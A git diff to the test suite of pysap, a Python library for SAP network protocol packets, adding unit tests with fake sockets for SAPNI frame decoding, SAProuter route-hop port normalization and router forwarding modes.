cac35d68..11536dac 100755 --- a/tests/saprouter_test.py +++ b/tests/saprouter_test.py @@ -187,7 +187,7 @@ def test_saproutedstreamsocket_route_error(self): sock.connect((self.test_address, self.test_port)) route = [SAPRouterRouteHop(hostname=self.test_address, - port=self.test_port), + port=str(self.test_port)), SAPRouterRouteHop(hostname="10.0.0.2", port="3200")] diff --git a/tests/saprouter_unit_test.py b/tests/saprouter_unit_test.py new file mode 100644 index 00000000..b14712aa --- /dev/null +++ b/tests/saprouter_unit_test.py @@ -0,0 +1,152 @@ +# encoding: utf-8 +# pysap - Python library for crafting SAP's network protocols packets +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# + +import unittest +from struct import pack +from types import SimpleNamespace + +from scapy.packet import Packet, raw + +from pysap.SAPNI import SAPNI, SAPNIStreamSocket +from pysap.SAPRouter import (ROUTER_TALK_MODE_NI_MSG_IO, ROUTER_TALK_MODE_NI_RAW_IO, + SAPRouterNativeRouterHandler, SAPRouterRouteHop, + normalize_route_hops) + + +class FailingPacket(Packet): + name = "Failing test packet" + fields_desc = [] + + def do_dissect(self, s): + raise ValueError("forced dissector failure") + + +class FakeSocket(object): + def __init__(self, data=b""): + self.data = data + self.sent = [] + self.closed = False + + def recv(self, size, flags=0): + if flags: + return self.data[:size] + chunk = self.data[:size] + self.data = self.data[size:] + return chunk + + def sendall(self, data): + self.sent.append(data) + + def close(self): + self.closed = True + + def fileno(self): + return -1 + + +class SocketWrapper(object): + def __init__(self, ins): + self.ins = ins + self.closed = False + + def close(self): + self.closed = True + self.ins.close() + + +class PySAPNIStreamSocketUnitTest(unittest.TestCase): + + def test_recv_raises_decode_errors_for_base_class(self): + stream = SAPNIStreamSocket.__new__(SAPNIStreamSocket) + stream.ins = FakeSocket(raw(SAPNI() / b"bad")) + stream.keep_alive = False + stream.basecls = FailingPacket + + with self.assertRaises(ValueError): + stream.recv() + + def test_recv_keeps_ping_payload_raw_when_saprouter_is_bound(self): + stream = SAPNIStreamSocket.__new__(SAPNIStreamSocket) + stream.ins = FakeSocket(raw(SAPNI() / SAPNI.SAPNI_PING)) + stream.keep_alive = False + stream.basecls = None + + packet = stream.recv() + + self.assertIn(SAPNI, packet) + self.assertEqual(packet[SAPNI].length, len(SAPNI.SAPNI_PING)) + self.assertEqual(packet.payload.load, SAPNI.SAPNI_PING) + + +class PySAPRouterRouteUnitTest(unittest.TestCase): + + def test_normalize_route_hops_converts_integer_ports(self): + route = [SAPRouterRouteHop(hostname="router", port=3299), + SAPRouterRouteHop(hostname="target", port=3200)] + + normalize_route_hops(route) + + self.assertEqual(route[0].port, b"3299") + self.assertEqual(route[1].port, b"3200") + self.assertEqual(raw(route[1]), b"target\x003200\x00\x00") + + +class PySAPRouterNativeRouterHandlerUnitTest(unittest.TestCase): + + def _handler(self, talk_mode): + handler = SAPRouterNativeRouterHandler.__new__(SAPRouterNativeRouterHandler) + handler.options = SimpleNamespace(talk_mode=talk_mode) + handler.mtu = 2048 + return handler + + def test_raw_mode_forwards_bytes_unchanged(self): + handler = self._handler(ROUTER_TALK_MODE_NI_RAW_IO) + local = SocketWrapper(FakeSocket(b"native")) + remote = SocketWrapper(FakeSocket()) + + handler.recv_send(local, remote, handler.process_client) + + self.assertEqual(remote.ins.sent, [b"native"]) + + def test_ni_message_mode_wraps_client_payload_once(self): + handler = self._handler(ROUTER_TALK_MODE_NI_MSG_IO) + local = SocketWrapper(FakeSocket(b"payload")) + remote = SocketWrapper(FakeSocket()) + + handler.recv_send(local, remote, handler.process_client) + + self.assertEqual(remote.ins.sent, [pack("!I", 7) + b"payload"]) + + def test_ni_message_mode_forwards_router_frame_once(self): + handler = self._handler(ROUTER_TALK_MODE_NI_MSG_IO) + frame = pack("!I", 7) + b"payload" + local = SocketWrapper(FakeSocket(frame)) + remote = SocketWrapper(FakeSocket()) + + handler.recv_send(local, remote, handler.process_server) + + self.assertEqual(remote.ins.sent, [frame]) + + def test_ni_message_mode_skips_keepalive_frame(self): + handler = self._handler(ROUTER_TALK_MODE_NI_MSG_IO) + local = SocketWrapper(FakeSocket(b"\xff\xff\xff\xff")) + remote = SocketWrapper(FakeSocket()) + + handler.recv_send(local, remote, handler.process_server) + + self.assertEqual(remote.ins.sent, []) + + +if __name__ == "__main__": + unittest.main()